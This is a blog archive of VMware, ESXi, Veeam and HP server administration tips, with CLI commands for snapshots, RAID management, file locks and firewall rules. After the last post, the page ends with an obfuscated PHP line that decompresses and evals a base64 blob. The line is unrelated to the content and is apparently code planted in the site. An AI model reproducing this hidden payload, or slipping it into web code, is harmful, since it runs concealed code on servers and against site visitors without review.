Entries Tagged as 'VMware'

Installing VMware Tools in a Linux VM

Go to Virtual Machine > Install VMware Tools (or VM > Install VMware Tools).

sudo mkdir /mnt/cdrom
sudo mount /dev/cdrom /mnt/cdrom or sudo mount /dev/sr0 /mnt/cdrom
tar xzvf /mnt/cdrom/VMwareTools-x.x.x-xxxx.tar.gz -C /tmp/
cd /tmp/vmware-tools-distrib/
sudo ./vmware-install.pl -d

sudo reboot

vSphere Client Console Does Not Display Full Screen

While opening a console for any virtual machine from one particular workstation, the console display is not sized correctly.

To resolve this, you will have to disable Display Scaling.

  1. Right click the vSphere Client icon and select Properties
  2. Click Compatibility
  3. Check box, “Disable display scaling on high DPI Settings”.
  4. Apply the settings
  5. Reload the vSphere Client.

The console session should populate the full screen.

Cannot mount vPower NFS VEEAM

Today I encountered the issue that I could not run a SureBackup from an ESX server. Although the ESX server (vmkernel) could ping the Veeam Backup server and coudl connect tot the NFS service (Port 111 and 6161).

I finally saw that there was also a Service NFS running. Disabling this service did not help.

At last i just removed the “Service fro NFS” from the Windows 2012 R2 Storage server.

A reboot is needed AND…. the Surebackup run.

So. If you have a Windows Storage server and you install Veeam Backup and Replication on it. Remove the Service for NFS from it to make vPower NFS work.

VMware Backup Pre- And Post-Commands

Version of ESX Custom quiescing script directory
ESX/ESXi 3.5 Update 1 or earlier
C:\Windows\<pre-freeze-script.bat>
C:\Windows\<post-thaw-script.bat>
ESX/ESXi 3.5 Update 2 or later
C:\Program Files\VMware\VMware Tools\backupScripts.d\
ESX/ESXi 4.x C:\Windows\backupScripts.d\
ESXi 5.0
C:\Windows\
C:\Program Files\VMware\VMware Tools\backupScripts.d\
ESXi 5.1 and ESXi 5.5
C:\Windows\<pre-freeze-script.bat>
C:\Windows\<post-thaw-script.bat>

Windows:

To create a sample wrapper script,  you can create a text file and name it vcb.bat.
echo off
if "%1" == "freeze" goto doFreeze
goto doThaw
:doFreeze
call c:\windows\pre-freeze-script.bat
goto EOF
:doThaw
call c:\windows\post-thaw-script.bat
:EOF

Linux:

For Linux VMs, the scripts should be named

     /usr/sbin/pre-freeze-script

     /usr/sbin/post-thaw-script

Both must have 0755 permissions so that they are executable, and should be owned by root.

Veeam:
Make sure that ““Enable VMware Tools quiescence” is enabled, cauusing the scripts to be call to.

HP Proliant BL460c Gen9 HBA bug

Environment
FACT : HP ProLiant BL460c Gen9 Server
FACT : HP FlexFabric 20Gb 2-port 650FLB Adapter
FACT : ESX 5.5 U3
FACT : Updated to lates OA and VC FC version (4.45)
 
Questions/Symptoms
SYMPTOM : Storage path may disappear after 650FLB Firmware upgrade to 10.5.65.21.
SYMPTOM :Problem is seen with Virtual Connect FLexfabric 10/24 and 20/40 modules.
SYMPTOM : No network avaiable during install of ESXi (HP version), so fails.
 
Upgrading with latest firmware (10.5.65.21) on 650 FLB may cause the path to the storage to disappear. This issue may occur when using the latest SPP Version 2015.06.0.
 
Cause
CAUSE: This issue only occurs because of the 650FLB firmware version 10.5.65.21
 
Answer/Solution
FIX: This issue is currently under investigation
As Workaround downgrade the firmware to 10.2.477.23 using (SPP) Version 2015.04.0 Or Reduce the uplink to 1 per Virtual connect SAN fabric or OneView Fibre Channel Uplink set.
Do this by applying the interactive mode and ONLY “upgrade” the Emulex LOM firmware back down to 10.2.477.23.

Unable to delete a flat-vmdk file from VMFS5 volume

Start by identifying the server whose VMkernel may be locking the file.

# vmkfstools -D /vmfs/volumes/UUID/VMDIR/LOCKEDFILE.xxx

 > Hostname vmkernel: gen 532, mode 1, owner xxxxxxxx-xxxxxxxx-xxxx- zzzzzzzzzzzz mtime xxxxxxxxxx]

zzzzzzzzzzzz gives the MAC adres of the server locking the file.

# lsof | grep -i LOCKEDFILE.xxx

OR

# vmkvsitools lsof | grep LOCKEDFILE.xxx

You see output similar to:

11773 vmx 12 46 /vmfs/volumes/Datastore_Name/VirtualMachineName/ VirtualMachineName-flat.vmdk

kill -9 PID (in the above case 11773)

Working with Snapshots on the ESXi CLI

I love CLI (Command Line Interface).

It gives you control…

So therefore if I work with ESX and snapshotting:

# vim-cmd vmsvc/getallvms
To get all VM’s andthier ID’s

# vim-cmd vmsvc/snapshot.create [ID] [Name]
To create a snapshot

# vim-cmd vmsvc/get.snapshotinfo [ID]
To get full information on snapshots on the VM

# vim-cmd vmsvc/snapshot.revert [ID]
To revert to a snapshot

# vim-cmd vmsvc/snapshot.remove [ID]
To remove a snapshot

# vim-cmd vmsvc/snapshot.removeall [ID]
To remove all snapshots from the VM

 

Using hpssacli under ESXi for HP Smart Array Controllers

You need a HP ESXi image to run the command

> /opt/hp/hpssacli/bin/hpssacli

Then you have following options:

Show configuration
/opt/hp/hpssacli/bin/hpssacli ctrl all show config

Controller status
/opt/hp/hpssacli/bin/hpssacli ctrl all show status

Show detailed controller information for all controllers
/opt/hp/hpssacli/bin/hpssacli ctrl all show detail

Show detailed controller information for controller in slot 0
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 show detail

Rescan for New Devices
/opt/hp/hpssacli/bin/hpssacli rescan

Physical disk status
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 pd all show status

Show detailed physical disk information
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 pd all show detail

Logical disk status
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 ld all show status

View Detailed Logical Drive Status
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 ld 2 show

Create New RAID 0 Logical Drive
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 create type=ld drives=1I:1:2 raid=0

Create New RAID 1 Logical Drive
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 create type=ld drives=1I:1:1,1I:1:2 raid=1

Create New RAID 5 Logical Drive
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 create type=ld drives=1I:1:1,1I:1:2,2I:1:6,2I:1:7,2I:1:8 raid=5

Delete Logical Drive
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 ld 2 delete

Add New Physical Drive to Logical Volume
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 ld 2 add drives=2I:1:6,2I:1:7

Extending a Logical Volume
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 ld 2 modify size=max [forced]

Add Spare Disks
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 array all add spares=2I:1:6,2I:1:7

Enable Drive Write Cache
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 modify dwc=enable

Disable Drive Write Cache
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 modify dwc=disable

Erase Physical Drive
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 pd 2I:1:6 modify erase

Turn on Blink Physical Disk LED
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 ld 2 modify led=on

Turn off Blink Physical Disk LED
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 ld 2 modify led=off

Modify smart array cache read and write ratio (cacheratio=readratio/writeratio)
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 modify cacheratio=100/0

Enable smart array write cache when no battery is present (No-Battery Write Cache option)
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 modify nbwc=enable

Disable smart array cache for certain Logical Volume
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 logicaldrive 1 modify arrayaccelerator=disable

Enable smart array cache for certain Logical Volume
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 logicaldrive 1 modify arrayaccelerator=enable

Enable SSD Smart Path
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 array a modify ssdsmartpath=enable

Disable SSD Smart Path
/opt/hp/hpssacli/bin/hpssacli ctrl slot=0 array a modify ssdsmartpath=disable

ACU Reference Guide

vmodl.fauly.hostcommunication error

While re-starting a ESXi 5.1 cluster. It came back, but one host did not join the cluster.

Adding it to the cluster (or at fisrt during a “connect”) it gave me the following error:

vmodl.fauly.hostcommunication 

Removing and adding it again to the cluster did not work. Disabling and Enabling HA did not do the trick.

Fix:
As it was ESXI 5.1 you connect to it (console or SSH) and type

services.sh restart

Now you can add the node again to the Cluster (remember to Enable HA again)

 

 

Installing HPPP on vMA

Upload the HPPP_x.xx.xx_Linux_X64.rpm to the vMA (/tmp) (with winSCP of FASTscp)

> sudo -s
> rpm -i hppp-linux-1.02.028-1.x86_64.rpm

Starting Power Protector: HP-HPPP[ OK ]

Check if the service is indeed listening on it’s ports:
> netstat -tanp | grep LISTEN
tcp 0 0 0.0.0.0:4679 0.0.0.0:* LISTEN 7813/HP-HPPP
tcp 0 0 0.0.0.0:4680 0.0.0.0:* LISTEN 7813/HP-HPPP
tcp 0 0 :::22 :::* LISTEN 2082/sshd

Default the vMA does not have ports 4679 (http) en 4680 (https) open

Configure communication between HPPP and the HP Network Module:
> sudo -s
> iptables -I OUTPUT -p tcp –dport 80 -j ACCEPT
> iptables -I INPUT -p tcp –dport 4679 -j ACCEPT
> iptables -I INPUT -p tcp –dport 4680 -j ACCEPT
> iptables -I INPUT -p udp –dport 4679 -j ACCEPT
> iptables -I INPUT -p udp –dport 4680 -j ACCEPT
> iptables -I OUTPUT -p udp –dport 4679 -j ACCEPT
> iptables -I OUTPUT -p udp –dport 4680 -j ACCEPT

> service iptables save
> iptables-save

Now you can connect with a web-browser.
Also the commi=unication between the vMA HPPP and the UPS is restored.

eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>